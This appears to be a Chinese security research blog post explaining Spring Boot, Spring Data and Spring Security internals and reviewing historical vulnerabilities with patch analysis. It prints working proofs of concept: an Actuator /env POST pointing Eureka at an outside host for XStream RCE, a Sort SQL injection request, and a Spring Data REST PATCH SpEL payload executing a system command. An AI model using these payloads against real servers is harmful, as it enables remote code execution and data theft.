Spring {Boot,Data,Security} 历史漏洞研究

书接上回,这次对 Spring Boot、Spring Data 以及 Spring Security 中的一些核心概念进行介绍并分析一些典型的历史漏洞。

前言

上篇文章 介绍了 Spring Framework 本身的一些核心技术点以及历史上出现过的几个典型漏洞,在其末尾我们说了,Spring 生态中除了框架本身,还有许多其他流行的项目。这些项目的文档和源码见:

本文即对其中几个比较知名的项目进行介绍,同时也会对历史上出现过的漏洞进行分析和回顾。

Spring Boot

Spring Boot 是 Spring 的核心子项目,主要目的是为了简化新建 Spring 应用的流程。在 前一篇文章中 介绍过,新建一个 Spring Web (MVC) 应用的过程还是颇为繁琐的,Spring Boot 的出现极大简化了这个过程。其中包含的特性包括:

  • 支持创建独立运行的 Spring 应用,即单个可执行 jar/war 包,内置 Tomcat/Jetty 等容器,无需另外部署;
  • 提供了一系列 starter 依赖,可作为脚手架实现开箱即用的配置;
  • 实现了针对 Spring 或者三方库的自动化配置;
  • 提供生产环境的监控、检查功能以及额外的配置;
  • 无代码生成且不依赖 XML 文件进行应用配置;

新建一个 Spring 项目,可以直接通过 start.spring.io 去勾选需要的依赖,然后就可以下载 Maven 或者 Gradle 的工程目录文件,在其中添加自己的业务代码去构建应用。在本节中主要使用 spring-boot-starter-web 为起始工程进行代码编写和分析。

国内用户可以通过 start.springboot.io 镜像进行加速。

参考:

在新建的工程中有以下的示例代码:

@RestController
@SpringBootApplication
public class SpringBootDemoApplication {

    @RequestMapping("/")
    public String index() {
        return "hello";
    }

    public static void main(String[] args) {
        SpringApplication.run(SpringBootDemoApplication.class, args);
    }

}

其中 RestController 和 RequestMapping 已经介绍过,为 Spring MVC 中用于提供 Web 请求的描述。而 @SpringBootApplication 这个注解是一个元注解,结合了 SpringBootConfiguration、EnableAutoConfiguration 和 ComponentScan 注解,如下所示:

@Target(ElementType.TYPE)
@Retention(RetentionPolicy.RUNTIME)
@Documented
@Inherited
@SpringBootConfiguration
@EnableAutoConfiguration
@ComponentScan(excludeFilters = { @Filter(type = FilterType.CUSTOM, classes = TypeExcludeFilter.class),
		@Filter(type = FilterType.CUSTOM, classes = AutoConfigurationExcludeFilter.class) })
public @interface SpringBootApplication {
    // ...
}
  • @SpringBootConfiguration:包装了 @Configuration,告诉容器该类是一个拥有 bean 定义和依赖项的配置类。Configuration 是 Spring Framework 中使用 Java 代码代替 XML 进行配置的关键注解;
  • @ComponentScan:自动扫描,相当于 Spring 中的 <context:component-scan>, 可以指定要扫描的包,并指定扫描的条件。默认扫描 @ComponentScan 注解所在类,一般是入口类 Application 的同级类和同级目录下的类,所以我们一般会把入口类 Application 放在源代码(src)第一层目录,从而保证 src 目录下的所有类都被扫描到;
  • @EnableAutoConfiguration:自动配置,又称为自动装配。根据依赖的jar包进行最大化的默认配置。

本节主要介绍的就是 EnableAutoConfiguration 注解。自动配置是 Spring Boot 中的一个重要功能,其模块代码在 spring-boot-project/spring-boot-autoconfigure 中,基于 spring-factories 机制。Spring Boot 启动时会遍历 CLASS_PATH 中所有的 MATA-INF/spring.factories 文件,读取其中 key 为 org.springframework.boot.autoconfigure.EnableAutoConfiguration 的配置并返回一个去重、排序、过滤之后的列表。该列表在 Spring Boot 上下文刷新时进行解析 (ConfigurationClassPostProcessor)。

Spring Boot 中给出的 starter 中基本上都带有对应的 factories 文件指定对应的自动配置选项,对于 starter 以外的 jar 依赖也会尽量去安装预置规则去进行配置。以阿里开源的数据库连接池 druid 为例,其对应文件如下:

$ cat druid-spring-boot-starter/src/main/resources/META-INF/spring.factories
org.springframework.boot.autoconfigure.EnableAutoConfiguration=\
com.alibaba.druid.spring.boot.autoconfigure.DruidDataSourceAutoConfigure

EnableAutoConfiguration 对应 DruidDataSourceAutoConfigure,如下所示:

@Configuration
@ConditionalOnClass(DruidDataSource.class)
@AutoConfigureBefore(DataSourceAutoConfiguration.class)
@EnableConfigurationProperties({DruidStatProperties.class, DataSourceProperties.class})
@Import({DruidSpringAopConfiguration.class,
        DruidStatViewServletConfiguration.class,
        DruidWebStatFilterConfiguration.class,
        DruidFilterConfiguration.class})
public class DruidDataSourceAutoConfigure {
    private static final Logger LOGGER = LoggerFactory.getLogger(DruidDataSourceAutoConfigure.class);

    @Bean(initMethod = "init")
    @ConditionalOnMissingBean
    public DataSource dataSource() {
        LOGGER.info("Init DruidDataSource");
        return new DruidDataSourceWrapper();
    }
}

注: 新版本的扫描的是 jar 包中的 META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports 文件,比如 spring-boot-autoconfigure 以及 spring-boot-actuator-autoconfigure 这些内置的 starter。参考 创建你自己的自动配置

另外对于需要用户指定的配置信息,如账号密码登录,可以通过 @ConfigurationProperties 将配置绑定为对象,然后引入 starter 依赖的开发者通过 yaml 等方式指定对应值进行依赖注入。还是以 druid 为例:

@ConfigurationProperties("spring.datasource.druid")
public class DruidDataSourceWrapper extends DruidDataSource implements InitializingBean {
    @Autowired
    private DataSourceProperties basicProperties;

    @Override
    public void afterPropertiesSet() throws Exception {
        //if not found prefix 'spring.datasource.druid' jdbc properties ,'spring.datasource' prefix jdbc properties will be used.
        if (super.getUsername() == null) {
            super.setUsername(basicProperties.determineUsername());
        }
        // ...
    }
}

配置文件:

spring.datasource.druid.url= # or spring.datasource.url=
spring.datasource.druid.username= # or spring.datasource.username=
spring.datasource.druid.password= # or spring.datasource.password=
spring.datasource.druid.driver-class-name= # or spring.datasource.driver-class-name=

配置文件也可以使用 YAML 格式,对于属性的指定 Spring Boot 提供了宽松的绑定原则,上面是 kebab 格式表示,同时也可以使用标准的驼峰语法或者类似环境变量的大写加下划线格式,细节可以参考官方文档。

总而言之,自动配置基于 “约定优于配置” 的原则,简化开发者配置配置 Bean 依赖注入的过程,这背后 Spring Boot 承担了大部分粗活累活,达到开箱即用的效果。开发者同样可以手动禁用(exclude)某些自动配置类,甚至提供手动配置的功能。

参考:

Spring Boot 的另外一大特性是支持将应用打包为独立可执行的 jar/war,脱离额外的 Servlet 容器依赖方便快速部署执行。还是以前面的脚手架工程为例,打包成 jar 文件后我们可以直接执行:

$ ./mvnw package
$ java -jar target/SpringBootDemo-0.0.1-SNAPSHOT.jar

查看该 jar 包的 META-INF/MANIFEST.MF 文件:

Manifest-Version: 1.0
Created-By: Maven JAR Plugin 3.3.0
Build-Jdk-Spec: 17
Implementation-Title: SpringBootDemo
Implementation-Version: 0.0.1-SNAPSHOT
Main-Class: org.springframework.boot.loader.JarLauncher
Start-Class: com.example.springbootdemo.SpringBootDemoApplication
Spring-Boot-Version: 3.0.6
Spring-Boot-Classes: BOOT-INF/classes/
Spring-Boot-Lib: BOOT-INF/lib/
Spring-Boot-Classpath-Index: BOOT-INF/classpath.idx
Spring-Boot-Layers-Index: BOOT-INF/layers.idx

可以发现其启动类为 org.springframework.boot.loader.JarLauncher,为什么不是我们应用的 SpringBootDemoApplication 呢?从源代码中可以看到,JarLauncher 实际上是通过自定义 ClassLoader 的方式去加载用户代码和资源文件的,这部分逻辑在 spring-boot-loader 模块中。

其关键加载类为 org.springframework.boot.loader.LaunchedURLClassLoader,这是 java.net.URLClassLoader 的子类,通过 URL 去指定 jar 进行加载。在标准的 JDK 中,使用 JarURLConnection 来表示一个 jar 包,示例如下:

URL url = new URL("jar:file:/home/duke/duke.jar!/");
JarURLConnection jarConnection = (JarURLConnection)url.openConnection();
Manifest manifest = jarConnection.getManifest();

JAR URL 的格式为 jar:<url>!/{entry},使用 !/ 表示 jar 内部的文件。Spring Boot Loader 拓展了这个 URL 规范,支持多级的 !/ 路径,以实现 jar in jar 的功能,比如:

jar:file:/tmp/target/demo-0.0.1-SNAPSHOT.jar!/BOOT-INF/lib/spring-beans-6.0.8.RELEASE.jar!/META-INF/MANIFEST.MF

最终使用该 ClassLoader 获取真正的启动类 SpringBootDemoApplication 并反射执行其 main 函数,通过动态调试也可以验证该执行流程:

main:18, SpringBootDemoApplication (com.example.springbootdemo)
...
invoke:568, Method (java.lang.reflect)
run:49, MainMethodRunner (org.springframework.boot.loader)
launch:95, Launcher (org.springframework.boot.loader)
launch:58, Launcher (org.springframework.boot.loader)
main:65, JarLauncher (org.springframework.boot.loader)

除此之外,Spring Boot 中还有许多方便的特性,在后文遇到时再进行介绍。

出现在 Spring Boot 中的历史漏洞似乎不是很多,因为它只是一个针对 Spring Framework 的浅层封装,实际功能又依赖于其他的组件或者 Starter,因此更多问题可能出在依赖上。

该漏洞是一个 SpEL 表达式注入漏洞,位于 Spring Boot 的默认错误模版中。所谓错误模版是指 Spring Boot 在遇到程序抛出非预期的异常时,会将其封装为统一的报错页面返回,这样可以防止通过出错的堆栈信息造成的信息泄露,例如对于 Accept 格式为 HTML 的请求错误,会返回以下 SpelView:

// org/springframework/boot/autoconfigure/web/ErrorMvcAutoConfiguration.java
@Configuration
@ConditionalOnProperty(prefix = "server.error.whitelabel", name = "enabled", matchIfMissing = true)
@Conditional(ErrorTemplateMissingCondition.class)
protected static class WhitelabelErrorViewConfiguration {

private final SpelView defaultErrorView = new SpelView(
    "<html><body><h1>Whitelabel Error Page</h1>"
        + "<p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p>"
        + "<div id='created'>${timestamp}</div>"
        + "<div>There was an unexpected error (type=${error}, status=${status}).</div>"
        + "<div>${message}</div></body></html>");
    
    // ...
}

其中 SpelView 的参数 message 部分是具体的出错信息,但是这部分作为字符串已经被解析了似乎不存在问题。但实际问题就出现在这个 SpelView 中,该类解析模版的方式如下:

// org/springframework/boot/autoconfigure/web/ErrorMvcAutoConfiguration.java
/**
 * Simple {@link View} implementation that resolves variables as SpEL expressions.
 */
private static class SpelView implements View {

  private final StandardEvaluationContext context = new StandardEvaluationContext();

  SpelView(String template) {
    this.template = template;
    this.context.addPropertyAccessor(new MapAccessor());
    this.helper = new PropertyPlaceholderHelper("${", "}");
    this.resolver = new SpelPlaceholderResolver(this.context);
  }

  @Override
  public void render(Map<String, ?> model, HttpServletRequest request,
      HttpServletResponse response) throws Exception {
    if (response.getContentType() == null) {
      response.setContentType(getContentType());
    }
    Map<String, Object> map = new HashMap<String, Object>(model);
    map.put("path", request.getContextPath());
    this.context.setRootObject(map);
    String result = this.helper.replacePlaceholders(this.template, this.resolver);
    response.getWriter().append(result);
  }

}

render 函数会通过 PropertyPlaceholderHelper.replacePlaceholders 将模版中 ${} 包裹的内容替换为 SpEL 解析执行后的内容,但这个替换过程是递归的,也就是说如果解析后的内容仍然包括 ${},会被再次解析,从而造成表达式注入。

上述代码为 v1.3.0.RELEASE

这个漏洞最初的修复是通过将解析方式修改成非递归(见末尾的链接),不过在最新版中进行了大刀阔斧的修改,摒弃了这个漏洞百出的 SpelView,转而使用更为简洁的 StaticView:

private static class StaticView implements View {

    private static final MediaType TEXT_HTML_UTF8 = new MediaType("text", "html", StandardCharsets.UTF_8);

    private static final Log logger = LogFactory.getLog(StaticView.class);

    @Override
    public void render(Map<String, ?> model, HttpServletRequest request, HttpServletResponse response)
            throws Exception {
        if (response.isCommitted()) {
            String message = getMessage(model);
            logger.error(message);
            return;
        }
        response.setContentType(TEXT_HTML_UTF8.toString());
        StringBuilder builder = new StringBuilder();
        Object timestamp = model.get("timestamp");
        Object message = model.get("message");
        Object trace = model.get("trace");
        if (response.getContentType() == null) {
            response.setContentType(getContentType());
        }
        builder.append("<html><body><h1>Whitelabel Error Page</h1>")
            .append("<p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p>")
            .append("<div id='created'>")
            .append(timestamp)
            .append("</div>")
            .append("<div>There was an unexpected error (type=")
            .append(htmlEscape(model.get("error")))
            .append(", status=")
            .append(htmlEscape(model.get("status")))
            .append(").</div>");
        if (message != null) {
            builder.append("<div>").append(htmlEscape(message)).append("</div>");
        }
        if (trace != null) {
            builder.append("<div style='white-space:pre-wrap;'>").append(htmlEscape(trace)).append("</div>");
        }
        builder.append("</body></html>");
        response.getWriter().append(builder.toString());
    }
    // ...
}

可以看到还顺便修复了潜在的 XSS 风险。

更多该漏洞的信息可以参考:

该漏洞是 Spring Boot Actuator 命令执行漏洞。spring-boot-actuator 模块提供了一些额外功能,用于帮助管理员在生产环境监控和管理应用。在之前 Java 安全研究初探 中说过,Java EE 应用监控和管理主要使用 JMX 即 Java 管理拓展,将需要对外暴露的信息或者管理接口通过 MBean 进行封装和注册,然后客户端使用 JMX 等协议进行访问。Spring Boot Actuator 就是基于 JMX 实现的一套框架。

Actuator 的英文翻译为致动器,可以想象成多级齿轮中半径较小的组件,可以从较小的变化引发大齿轮较大的传动。

在 Spring Boot 应用中可以通过 starter 项目引入 actuator 模块,如下所示:

<dependencies>
    <dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-actuator</artifactId>
    </dependency>
</dependencies>

同样可以通过 Spring Boot 的自动装配功能进行配置。HTTP 的接口是没有鉴权的(先不考虑 Spring Security),因此默认情况下只有 /health 通过 HTTP 接口暴露。我们可以通过 application.properties 启用/禁用某些管理端点,例如:

management.endpoint.shutdown.enabled=true
management.endpoints.web.exposure.include=*

表示启用 shutdown 端点,并将所有已启用的端点暴露到 HTTP 接口。在上面的配置下,我们可以通过 HTTP GET /actuator/env 获取环境变量信息,也可以通过 POST /actuator/shutdown 关闭应用。

$ curl -i http://localhost:8080/actuator/shutdown -XPOST
HTTP/1.1 200
Content-Type: application/vnd.spring-boot.actuator.v3+json
Transfer-Encoding: chunked
Date: Sun, 23 Apr 2023 03:00:43 GMT

{"message":"Shutting down, bye..."}

可见通过 Actuator 的 HTTP 协议暴露管理接口是比较危险的,JMX 协议由于有账号密码的要求还相对安全一些,而且 JMX 也是默认关闭的,需要通过配置 spring.jmx.enabledtrue 进行启用。

背景就先介绍到这里,接着看漏洞本身。说实话这个漏洞更多是配置失误而不是应用逻辑错误,早期 Spring Boot 对于这些 Actuator 并没有保护,任意用户都可以访问。因此在 Exploiting Spring Boot Actuators 一文中作者对暴露的端点进行分析发现有部分端点可以被滥用造成更大的危害。

首先,对于 /env 端点,除了可以获取环境变量,还能获取 @ConfigurationProperties 的属性,同时支持通过 POST 请求对这些属性进行修改。这里的利用思路是对于依赖 Spring Cloud 的应用,修改其 serviceURL,如下:

POST /actuator/env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
 
eureka.client.serviceUrl.defaultZone=http://evilpan.com/n/xstream

配合 Eureka-Client 低版本的 XStream 反序列实现 RCE。当然这只是其中一种利用方式,还可以通过 /configprops 端点获取所有属性列表,从中发掘可以进一步利用的属性。

另外当时作者还提出了一种针对 jolokia 的利用,其与 actuator 相比功能更为强大,支持使用 HTTP 实现 JMX 的大部分操作,因此造成的危害也就更大一些,不过这个跟 Spring Boot 关系不大就不深入了。

参考文章:

Spring Data

Spring Data,顾名思义与数据库相关。作为一个 Web 框架,不可避免地需要面临数据存储、修改、查询等功能,这也是大部分 CRUD 工程师的日常。因此 Spring Data 的目标就是为不同的数据库后端提供一套相对统一的数据访问方案,包括 mySQL、MongoDB、Redis、LDAP 等等。

值得一提的是,Spring Data 并不是一个单一的项目,而是一个综合项目,不同的数据库后端会分别有单独的代码仓库,比如 spring-data-ldap、spring-data-redis 等。除了官方支持的项目,还有许多社区实现的项目,比如 spring-data-solr、spring-data-neo4j 等,完整的列表可以参考 Spring Data Overview

虽然 Spring Data 中不同项目有不同的代码仓库,但是项目之间会有大部分共享的代码,这部分代码存放在单独的 spring-data-commons 仓库中,通常称为 Spring Data Commons,包含了对象映射、创建、查询等常见的接口和实现。本节就对其进行简单介绍。

Spring Data 的一个核心功能是对象映射,即创建对应业务数据结构实例,并将本地数据中的数据结构映射到这些实例上。这分为两个步骤,首先是通过反射创建对象,然后填充对象内部的属性值。不过由于反射开销较大,因此 Spring Data 进行了一些优化,比如创建对象会在运行时生成一个对应的工厂类 ObjectInstantiator,填充属性也是使用类似的动态生成 PropertyAccessor 类避免反射调用。

另一个重要功能是对于数据访问的抽象中心接口,Spring Data Repository。这里面主要是一些模版代码,例如 CrudRepository 的接口就为被管理的实体类提供常见的增删改查功能:

public interface CrudRepository<T, ID> extends Repository<T, ID> {
  <S extends T> S save(S entity);      
  Optional<T> findById(ID primaryKey); 
  Iterable<T> findAll();               
  long count();                        
  void delete(T entity);               
  boolean existsById(ID primaryKey);   
  // … more functionality omitted.
}

类似的模版基类还有:

  • ListCrudRepository: 类似 CrudRepository,只不过返回的是 List 而不是 Iterable;
  • PagingAndSortingRepository: 增加额外的排序、分页接口;
  • ReactiveCrudRepository、RxJava3CrudRepository: 响应式的接口;

对于开发者而言,要为业务数据类接入 Spring Data 并实现增删改查的功能,一般都需要继承自某个 Repository 并定义自己的接口和查询方法。

interface PersonRepository extends Repository<Person, Long> {
    List<Person> findByAddressZipCode(ZipCode zipCode);
}

没错,只有接口,没有实现!Spring Data 中有比较复杂的策略去实现用户定义的查询方法,比如对上面的查询代来说,假设 Person 类有一个 Address 类型的字段,且 Address 类中又有一个 ZipCode 类型的字段,上述查询方法的实现是首先会判断 Person 中是否有名为 AddressZipCode 的属性,如果没有则会按照驼峰分隔属性去查询,从右边开始,即 AddressZipCode,最后为 AddressZipCode,因此最终实现 persion.address.zipCode 的遍历查询。同时也支持使用下划线 _ 明确指定分隔点,比如 findByAddress_ZipCode

那这个是怎么实现的呢?详细的分析比较复杂,简单来说就是通过动态代理完成的。Spring 在启动时会扫描所有的类,并找出其中由我们定义的并继承自 Repository 的接口。并针对每个接口创建一个动态代理以及其他实例,其中动态代理为 JdkDynamicAopProxy,拦截 PersonRepository 的所有方法并根据方法名实现对应逻辑,这个过程也称为 CriteriaQuery

值得一提的是,Spring 在启动时加载 Bean 的过程中,会将对应方法使用正则表达式进行解析并存储到 PartTree 中,该类关键代码如下:

package org.springframework.data.repository.query.parser;
// ...
public class PartTree implements Streamable<OrPart> {
  private static final String KEYWORD_TEMPLATE = "(%s)(?=(\\p{Lu}|\\P{InBASIC_LATIN}))";
  private static final String QUERY_PATTERN = "find|read|get|query|search|stream";
  private static final String COUNT_PATTERN = "count";
  private static final String EXISTS_PATTERN = "exists";
  private static final String DELETE_PATTERN = "delete|remove";
  private static final Pattern PREFIX_TEMPLATE = Pattern.compile(
      "^(" + QUERY_PATTERN + "|" + COUNT_PATTERN + "|" + EXISTS_PATTERN + "|" + DELETE_PATTERN + ")((\\p{Lu}.*?))??By");

  public PartTree(String source, Class<?> domainClass) {

    Assert.notNull(source, "Source must not be null");
    Assert.notNull(domainClass, "Domain class must not be null");

    Matcher matcher = PREFIX_TEMPLATE.matcher(source);

    if (!matcher.find()) {
      this.subject = new Subject(Optional.empty());
      this.predicate = new Predicate(source, domainClass);
    } else {
      this.subject = new Subject(Optional.of(matcher.group(0)));
      this.predicate = new Predicate(source.substring(matcher.group().length()), domainClass);
    }
  }
  // ...
}

这个基础设施是 Spring Data 使用起来如此简洁的原因,但从另一方面来说,这部分复杂性其实是由框架的开发者无私地承担了。更多

之前在 Java 安全研究初探 中有介绍过 JDBC,这是 Java EE 访问数据库的标准,通过对接不同后端数据库的 JDBC Driver 来实现针对不同数据库的统一访问接口。那么 JPA 又是什么呢?

JPA 的全称为 Java Persistence API,也是 Java EE 标准 JSR-338 的一部分。主要作为应用程序对关系型数据的持久化和查询管理接口。JPA 的 API 在包 javax.persistence 中,将数据库表中的每一项(行)数据抽象为 Entity,实现示例如下:

@Entity
public class User {
    @Id
    private long id;
    private String name;
    private int age;
}

JPA 管理实例主要通过 EntityManager 接口,该类除了提供 persistaddfindremove 等数据库常见操作,还提供了基于 JPQL(Java Persistence query language) 作为简单的查询语言。以上面的 User 表为例,查询所有年龄大于 18 的用户示例如下:

TypedQuery<User> query = em.createQuery(
    "SELECT u FROM User u WHERE u.age >= :age",
    User.class
);
query.setParameter("age", 18);
List<User> results = query.getResultList();

这里只需要对 JPA 有个大致了解,详细的内容可以参考下述链接:

回到 Spring Data 本身,spring-data-jpa 项目就实现了以 JPA 为底座的封装。其中主要的是 JpaRepository 接口,该接口继承自前面说过的 ListCrudRepository

一般使用 @EnableJpaRepositories 配置来启用 Spring Data JPA Repository,同时指定 DataSourceLocalContainerEntityManagerFactoryBean。当然使用 XML 也可以,但不是很推荐。

上节说过 Spring Data 会通过动态代理去注入 Repository 的实例,对于 JPA 来说有一个额外的 SimpleJpaRepository 作为默认实现:

@Repository
@Transactional(readOnly = true)
public class SimpleJpaRepository<T, ID> implements JpaRepositoryImplementation<T, ID> {
    // ...
}

类的继承结构如下:

  • SimpleJpaRepository
    • JpaSpecificationExecutor
    • JpaRepositoryImplementation
      • JpaRepository
        • ListCrudRepository

默认实现使用 EntityManager 去实现 CrudRepository 接口,比如 save 接口的实现如下:

@Transactional
@Override
public <S extends T> S save(S entity) {

  Assert.notNull(entity, "Entity must not be null");

  if (entityInformation.isNew(entity)) {
    em.persist(entity);
    return entity;
  } else {
    return em.merge(entity);
  }
}

而对于用户定义的接口,同样是基于 AOP 实现。

JPA 作为抽象层,通常还需要对接具体的数据持久化接口实现,比如 Hibernate (HibernateJpaVendorAdapter),而且由于抽象程度太深,因此往往概念上很简单的一件事在 JPA 上会显得很复杂和混乱。如果开发者更偏向于浅层抽象,希望 SQL 更加可控,通常会选择基于 JDBC 接口的实现,即 spring-data-jdbc。随着功能逐渐完善,现在代码仓库已经改名为 spring-data-relational,以实现更广泛的关系型数据库支持。

参考链接:

本节分析几个 Spring Data 项目中出现过的历史漏洞。

在 Spring Data 中有个工具类 QueryUtils,内部代码可以使用它来生成 SQL 语句,比如下面的代码用来生成排序语句:

QueryUtils.applySorting("select person from Person person", new Sort("firstName"))

上述例子中 firstName 是会被传入生成的 SQL 语句的,而且由于 Sort 类的构造函数并没有对参数进行过滤,如果这个参数可以被用户控制,就有可能造成 SQL 注入的风险。

当然,由于这是只是一个内部工具类,并没有直接造成风险,但有部分代码会间接使用到该方法。例如,有下述 Repository:

interface PersonRepository extends PagingAndSortingRepository<Person, Long> {
  
  @Query("SELECT person FROM Person person WHERE " +
      "LOWER(person.firstName) LIKE LOWER(CONCAT('%',:searchTerm, '%')) OR " +
      "LOWER(person.lastName) LIKE LOWER(CONCAT('%',:searchTerm, '%'))")
  List<Person> findBySearchTerm(@Param("searchTerm") String searchTerm, Sort sort);
}

提供了一个搜索姓名的接口,然后在 Spring Web 中使用该接口进行查询,同时也指定通过姓氏来排序:

@RequestMapping("/personfind")
public Iterable<PersonDTO> personFind(@RequestParam(value="order", defaultValue="firstName") String order,
                                      @RequestParam(value="term" ) String term) {
  Iterable<Person> persons = personRepo.findBySearchTerm(term, new Sort(order));
  // ...
}

这是个很常见的用法。在这种场景下,Spring Data 背后会构造 applySorting 调用,且参数没有被过滤,从而造成 SQL 注入。调用链路有点长,就不一步步分析了,直接打个断点看栈回溯:

@org.springframework.data.jpa.repository.query.QueryUtils.applySorting()
at org.springframework.data.jpa.repository.query.AbstractStringBasedJpaQuery.doCreateQuery(AbstractStringBasedJpaQuery.java:78)
at org.springframework.data.jpa.repository.query.AbstractJpaQuery.createQuery(AbstractJpaQuery.java:176)
at org.springframework.data.jpa.repository.query.JpaQueryExecution$CollectionExecution.doExecute(JpaQueryExecution.java:114)
at org.springframework.data.jpa.repository.query.JpaQueryExecution.execute(JpaQueryExecution.java:78)
at org.springframework.data.jpa.repository.query.AbstractJpaQuery.doExecute(AbstractJpaQuery.java:102)
at org.springframework.data.jpa.repository.query.AbstractJpaQuery.execute(AbstractJpaQuery.java:92)
at org.springframework.data.repository.core.support.RepositoryFactorySupport$QueryExecutorMethodInterceptor.doInvoke(RepositoryFactorySupport.java:482)
at org.springframework.data.repository.core.support.RepositoryFactorySupport$QueryExecutorMethodInterceptor.invoke(RepositoryFactorySupport.java:460)
at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179)
at org.springframework.data.projection.DefaultMethodInvokingMethodInterceptor.invoke(DefaultMethodInvokingMethodInterceptor.java:61)
at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179)
at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99)
at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:280)
at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96)
at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179)
at org.springframework.dao.support.PersistenceExceptionTranslationInterceptor.invoke(PersistenceExceptionTranslationInterceptor.java:136)
at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179)
at org.springframework.data.jpa.repository.support.CrudMethodMetadataPostProcessor$CrudMethodMetadataPopulatingMethodInterceptor.invoke(CrudMethodMetadataPostProcessor.java:133)
...

以上述 PoC 为例,我们请求为:

curl -i 'http://localhost:8080/personfind?term=uppu&order=firstName%20XXX'

合法的 order 后部分的内容就会传入 SQL 请求中,造成下面的出错信息:

org.hibernate.hql.internal.ast.QuerySyntaxException: unexpected token: XXX near line 1, column 202 [SELECT person FROM poc.Person person WHERE LOWER(person.firstName) LIKE LOWER(CONCAT('%',:searchTerm, '%')) OR LOWER(person.lastName) LIKE LOWER(CONCAT('%',:searchTerm, '%')) order by person.firstName XXX asc]

该漏洞的修复分为几个部分,一是增加了 unsafeunsafeOrder 等方法显示提示潜在的 SQL 注入,二是在原本的 Order 类中增加了正则表达式对属性进行过滤:

index 3825b10d..f40c0426 100644
--- a/src/main/java/org/springframework/data/jpa/repository/query/QueryUtils.java
+++ b/src/main/java/org/springframework/data/jpa/repository/query/QueryUtils.java
@@ -102,6 +105,10 @@ public abstract class QueryUtils {
        private static final int QUERY_JOIN_ALIAS_GROUP_INDEX = 2;
        private static final int VARIABLE_NAME_GROUP_INDEX = 4;

+       private static final Pattern PUNCTATION_PATTERN = Pattern.compile(".*((?![\\._])[\\p{Punct}|\\s])");
+       private static final String FUNCTION_ALIAS_GROUP_NAME = "alias";
+       private static final Pattern FUNCTION_PATTERN;
+
        static {

                StringBuilder builder = new StringBuilder();
@@ -145,6 +152,13 @@ public abstract class QueryUtils {
                builder.append("\\)");

                CONSTRUCTOR_EXPRESSION = compile(builder.toString(), CASE_INSENSITIVE + DOTALL);
+
+               builder = new StringBuilder();
+               builder.append("\\s+"); // at least one space
+               builder.append("\\w+\\([0-9a-zA-z\\._,\\s']+\\)"); // any function call including parameters within the brackets
+               builder.append("\\s+[as|AS]+\\s+(?<" + FUNCTION_ALIAS_GROUP_NAME + ">[\\w\\.]+)"); // the potential alias
+
+               FUNCTION_PATTERN = compile(builder.toString());
        }

关于该漏洞的详细分析、利用以及完整修复细节可以参考以下链接:

Spring Data REST 也是 Spring Data 家族里的一个项目。官网的解释是,该项目用于方便搭建 hypermedia-driven REST web services,即超媒体驱动的 Web 服务。这类服务又称为 Hypermedia as the Engine of Application State (HATEOAS)。hypermedia 与 hypertext 相对,个人理解是表示背后的载体。直接看例子可能更清楚一些,下面是一个简单的示例:

@CrossOrigin
@RepositoryRestResource(path = "people")
public interface PersonRepository extends CrudRepository<Person, Long> {

  List<Person> findByLastname(String lastname);

  @RestResource(path = "byFirstname")
  List<Person> findByFirstnameLike(String firstname);
}

@Configuration
@EnableMongoRepositories
class ApplicationConfig extends AbstractMongoConfiguration {

  @Override
  public MongoClient mongoClient() {
    return new MongoClient();
  }

  @Override
  protected String getDatabaseName() {
    return "springdata";
  }
}

使用 @RepositoryRestResource 表示对应 Repository 由 REST 驱动,配置后端使用 MongoDB。客户端可以通过请求直接进行查询:

curl -v "http://localhost:8080/people/search/byFirstname?firstname=Oliver*&sort=name,desc"

同样也可以实现其他常见的数据操作。关于具体的介绍以及示例可以参考下面的链接:

Spring Data REST 中提供了许多 REST 接口,可以用 HTTP 请求实现数据的增删改查。比如使用 GET 请求查询数据,POST 请求修改数据,PUT 请求新增数据,等等。其中有一个鲜为人知的是 HTTP PATCH 请求,用于对数据进行部分修改。

漏洞就出现在 Spring Data REST 对 PATCH 请求的实现上。在实现部分更新时,代码中使用了 SpEL 表达式来解析 path 的值,PoC 如下:

$ curl -X PATCH http://localhost:8080/books/1 -H 'Content-Type: application/json-patch+json' -d '[{"op":"replace","path":"T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec(\"id\").getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()).x","value":"Your application has been hacked"}]'

具体代码就不讲解了,可以直接从 JsonPatch 的调用链路大致看出代码执行的逻辑:

@org.springframework.expression.spel.standard.SpelExpression.toTypedValue()
at org.springframework.expression.spel.standard.SpelExpression.setValue(SpelExpression.java:439)
at org.springframework.data.rest.webmvc.json.patch.PatchOperation.setValueOnTarget(PatchOperation.java:167)
at org.springframework.data.rest.webmvc.json.patch.ReplaceOperation.perform(ReplaceOperation.java:41)
at org.springframework.data.rest.webmvc.json.patch.Patch.apply(Patch.java:64)
at org.springframework.data.rest.webmvc.config.JsonPatchHandler.applyPatch(JsonPatchHandler.java:91)
at org.springframework.data.rest.webmvc.config.JsonPatchHandler.apply(JsonPatchHandler.java:83)
at org.springframework.data.rest.webmvc.config.PersistentEntityResourceHandlerMethodArgumentResolver.readPatch(PersistentEntityResourceHandlerMethodArgumentResolver.java:206)
at org.springframework.data.rest.webmvc.config.PersistentEntityResourceHandlerMethodArgumentResolver.read(PersistentEntityResourceHandlerMethodArgumentResolver.java:184)
at org.springframework.data.rest.webmvc.config.PersistentEntityResourceHandlerMethodArgumentResolver.resolveArgument(PersistentEntityResourceHandlerMethodArgumentResolver.java:141)
at org.springframework.web.method.support.HandlerMethodArgumentResolverComposite.resolveArgument(HandlerMethodArgumentResolverComposite.java:121)
